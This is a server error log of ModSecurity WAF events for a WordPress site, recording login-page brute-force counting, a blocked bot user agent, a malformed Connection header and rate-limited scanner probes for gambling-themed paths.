[Fri Apr 10 16:53:53.142009 2026] [:error] [pid 3934:tid 3952] [client 173.236.158.190:59130] [client 173.236.158.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.158.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adi6oYa41m-BS8mg82crzgAAAM0"]
[Fri Apr 10 16:53:54.996682 2026] [:error] [pid 3934:tid 3946] [client 173.236.158.190:59130] [client 173.236.158.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.158.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adi6ooa41m-BS8mg82cr4wAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 10 16:54:49.798992 2026] [:error] [pid 13189:tid 13204] [client 43.157.142.101:60680] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adi62ZAxiJKPums3eBAspAAAAEw"]
[Fri Apr 10 16:55:39.872019 2026] [:error] [pid 13101:tid 13141] [client 192.250.239.58:41696] [client 192.250.239.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adi7C98Ldw85818pj2pyTwAAAIg"]
[Fri Apr 10 16:55:42.176176 2026] [:error] [pid 13101:tid 13147] [client 192.250.239.58:41696] [client 192.250.239.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adi7Dt8Ldw85818pj2pyWAAAAI4"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 10 17:04:20.440455 2026] [:error] [pid 13101:tid 13140] [client 24.144.85.85:39016] [client 24.144.85.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.144.85.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adi9FN8Ldw85818pj2p1cQAAAIc"]
[Fri Apr 10 17:04:36.046683 2026] [:error] [pid 13189:tid 13192] [client 24.144.85.85:49804] [client 24.144.85.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.144.85.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adi9JJAxiJKPums3eBAy1wAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 10 18:21:36.921286 2026] [:error] [pid 13189:tid 13207] [client 163.61.72.117:60680] [client 163.61.72.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.72.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adjPMJAxiJKPums3eBBrugAAAE8"]
[Fri Apr 10 18:21:38.611293 2026] [:error] [pid 13189:tid 13206] [client 163.61.72.117:60680] [client 163.61.72.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.72.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adjPMpAxiJKPums3eBBrvAAAAE4"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 10 18:27:34.458304 2026] [:error] [pid 3934:tid 3957] [client 216.24.210.243:31549] [client 216.24.210.243] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "adjQloa41m-BS8mg82eNPAAAANI"]
[Fri Apr 10 19:10:40.440311 2026] [:error] [pid 13102:tid 13164] [client 72.167.46.126:58278] [client 72.167.46.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.167.46.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adjasP9xLvjW2guI55Zy0AAAAAQ"]
[Fri Apr 10 19:10:43.156184 2026] [:error] [pid 13102:tid 13182] [client 72.167.46.126:58278] [client 72.167.46.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.167.46.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adjas_9xLvjW2guI55Zy2QAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 10 19:56:42.667908 2026] [:error] [pid 13189:tid 13208] [client 54.36.60.45:48632] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adjlepAxiJKPums3eBCTGQAAAFA"]
[Fri Apr 10 19:56:44.597759 2026] [:error] [pid 3934:tid 3952] [client 54.36.60.45:49092] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adjlfIa41m-BS8mg82e8PAAAAM0"]
[Fri Apr 10 19:56:46.523858 2026] [:error] [pid 13102:tid 13167] [client 54.36.60.45:49106] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adjlfv9xLvjW2guI55aQ3gAAAAc"]
[Fri Apr 10 19:56:48.401355 2026] [:error] [pid 13100:tid 13124] [client 54.36.60.45:49110] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adjlgFzg-ZkZ0InWIP2j1gAAARM"]
[Fri Apr 10 19:56:50.254513 2026] [:error] [pid 25984:tid 25999] [client 54.36.60.45:49122] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adjlgrsdbY_MC14OH17T3QAAAUo"]
[Fri Apr 10 19:56:52.088386 2026] [:error] [pid 13101:tid 13133] [client 54.36.60.45:49128] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adjlhN8Ldw85818pj2q6cgAAAIA"]
[Fri Apr 10 19:56:53.961247 2026] [:error] [pid 13189:tid 13193] [client 54.36.60.45:42716] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adjlhZAxiJKPums3eBCTIwAAAEE"]
[Fri Apr 10 19:56:55.789348 2026] [:error] [pid 3934:tid 3951] [client 54.36.60.45:42722] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adjlh4a41m-BS8mg82e8VgAAAMw"]
[Fri Apr 10 19:56:57.800092 2026] [:error] [pid 13101:tid 13147] [client 54.36.60.45:42736] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adjlid8Ldw85818pj2q6hAAAAI4"]
[Fri Apr 10 19:56:59.787660 2026] [:error] [pid 25984:tid 26010] [client 54.36.60.45:42742] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adjli7sdbY_MC14OH17T8AAAAVU"]
[Fri Apr 10 19:57:01.564214 2026] [:error] [pid 3934:tid 3947] [client 54.36.60.45:42744] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adjljYa41m-BS8mg82e8ZgAAAMg"]
[Fri Apr 10 19:57:03.538818 2026] [:error] [pid 25984:tid 25999] [client 54.36.60.45:42750] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adjlj7sdbY_MC14OH17T_AAAAUo"]
[Fri Apr 10 19:57:05.642949 2026] [:error] [pid 13100:tid 13112] [client 54.36.60.45:35072] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adjlkVzg-ZkZ0InWIP2j9wAAAQc"]
[Fri Apr 10 19:57:07.574265 2026] [:error] [pid 25984:tid 26011] [client 54.36.60.45:35082] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adjlk7sdbY_MC14OH17UEQAAAVY"]
[Fri Apr 10 19:57:09.386854 2026] [:error] [pid 25984:tid 25993] [client 54.36.60.45:35096] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adjllbsdbY_MC14OH17UGAAAAUQ"]
[Fri Apr 10 19:57:11.203336 2026] [:error] [pid 13102:tid 13160] [client 54.36.60.45:35104] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adjll_9xLvjW2guI55aRIAAAAAA"]
[Fri Apr 10 19:57:13.129070 2026] [:error] [pid 25984:tid 25999] [client 54.36.60.45:35108] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adjlmbsdbY_MC14OH17UKQAAAUo"]
[Fri Apr 10 19:57:14.943537 2026] [:error] [pid 3934:tid 3952] [client 54.36.60.45:48920] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adjlmoa41m-BS8mg82e8ewAAAM0"]
[Fri Apr 10 19:57:16.896611 2026] [:error] [pid 13102:tid 13166] [client 54.36.60.45:48928] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adjlnP9xLvjW2guI55aRNQAAAAY"]
[Fri Apr 10 19:57:18.838386 2026] [:error] [pid 25984:tid 25991] [client 54.36.60.45:48930] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adjlnrsdbY_MC14OH17URwAAAUI"]
[Fri Apr 10 19:57:20.635972 2026] [:error] [pid 13101:tid 13140] [client 54.36.60.45:48940] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adjloN8Ldw85818pj2q6swAAAIc"]
[Fri Apr 10 19:57:22.543304 2026] [:error] [pid 13102:tid 13164] [client 54.36.60.45:48942] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adjlov9xLvjW2guI55aRTAAAAAQ"]
[Fri Apr 10 19:57:24.471766 2026] [:error] [pid 13102:tid 13170] [client 54.36.60.45:55744] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adjlpP9xLvjW2guI55aRTwAAAAo"]
[Fri Apr 10 19:57:26.504671 2026] [:error] [pid 25984:tid 25998] [client 54.36.60.45:55760] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adjlprsdbY_MC14OH17UVQAAAUk"]
[Fri Apr 10 19:57:28.535353 2026] [:error] [pid 13189:tid 13195] [client 54.36.60.45:55776] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adjlqJAxiJKPums3eBCTbAAAAEM"]
[Fri Apr 10 19:57:30.573006 2026] [:error] [pid 3934:tid 3939] [client 54.36.60.45:55786] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adjlqoa41m-BS8mg82e8oAAAAMA"]
[Fri Apr 10 19:57:32.376085 2026] [:error] [pid 13102:tid 13175] [client 54.36.60.45:55788] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adjlrP9xLvjW2guI55aRdgAAAA8"]
[Fri Apr 10 19:57:34.299896 2026] [:error] [pid 13102:tid 13160] [client 54.36.60.45:48412] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adjlrv9xLvjW2guI55aRjAAAAAA"]
[Fri Apr 10 19:57:36.224450 2026] [:error] [pid 13100:tid 13126] [client 54.36.60.45:48416] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "adjlsFzg-ZkZ0InWIP2kFAAAARU"]
[Fri Apr 10 19:57:38.132393 2026] [:error] [pid 13189:tid 13197] [client 54.36.60.45:48432] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adjlspAxiJKPums3eBCTfgAAAEU"]
[Fri Apr 10 19:58:13.223165 2026] [:error] [pid 13102:tid 13166] [client 54.36.60.45:48448] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adjl1f9xLvjW2guI55aSEQAAAAY"]
[Fri Apr 10 19:58:15.197443 2026] [:error] [pid 25984:tid 25996] [client 54.36.60.45:46550] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adjl17sdbY_MC14OH17VHQAAAUc"]
[Fri Apr 10 19:58:17.084560 2026] [:error] [pid 13189:tid 13196] [client 54.36.60.45:46558] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adjl2ZAxiJKPums3eBCTtAAAAEQ"]
[Fri Apr 10 19:58:19.122473 2026] [:error] [pid 3934:tid 3960] [client 54.36.60.45:46572] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adjl24a41m-BS8mg82e9TgAAANU"]
[Fri Apr 10 19:58:21.015373 2026] [:error] [pid 13100:tid 13122] [client 54.36.60.45:46580] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adjl3Vzg-ZkZ0InWIP2kRwAAARE"]
[Fri Apr 10 19:58:23.045915 2026] [:error] [pid 13189:tid 13200] [client 54.36.60.45:46590] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adjl35AxiJKPums3eBCTwQAAAEg"]
[Fri Apr 10 19:58:24.950114 2026] [:error] [pid 25984:tid 26010] [client 54.36.60.45:48112] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adjl4LsdbY_MC14OH17VQAAAAVU"]
[Fri Apr 10 19:58:26.833900 2026] [:error] [pid 13100:tid 13106] [client 54.36.60.45:48118] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adjl4lzg-ZkZ0InWIP2kSwAAAQE"]
[Fri Apr 10 19:58:28.881389 2026] [:error] [pid 13101:tid 13145] [client 54.36.60.45:48124] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adjl5N8Ldw85818pj2q6_wAAAIw"]
[Fri Apr 10 19:58:30.746570 2026] [:error] [pid 13100:tid 13112] [client 54.36.60.45:48128] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adjl5lzg-ZkZ0InWIP2kTwAAAQc"]
[Fri Apr 10 19:58:32.785208 2026] [:error] [pid 13102:tid 13163] [client 54.36.60.45:48142] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adjl6P9xLvjW2guI55aSJwAAAAM"]
[Fri Apr 10 19:58:34.688698 2026] [:error] [pid 3934:tid 3962] [client 54.36.60.45:50036] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adjl6oa41m-BS8mg82e9cQAAANc"]
[Fri Apr 10 19:58:36.722921 2026] [:error] [pid 25984:tid 25996] [client 54.36.60.45:50044] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adjl7LsdbY_MC14OH17VlQAAAUc"]
[Fri Apr 10 19:58:38.615345 2026] [:error] [pid 13102:tid 13173] [client 54.36.60.45:50060] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adjl7v9xLvjW2guI55aSOAAAAA0"]
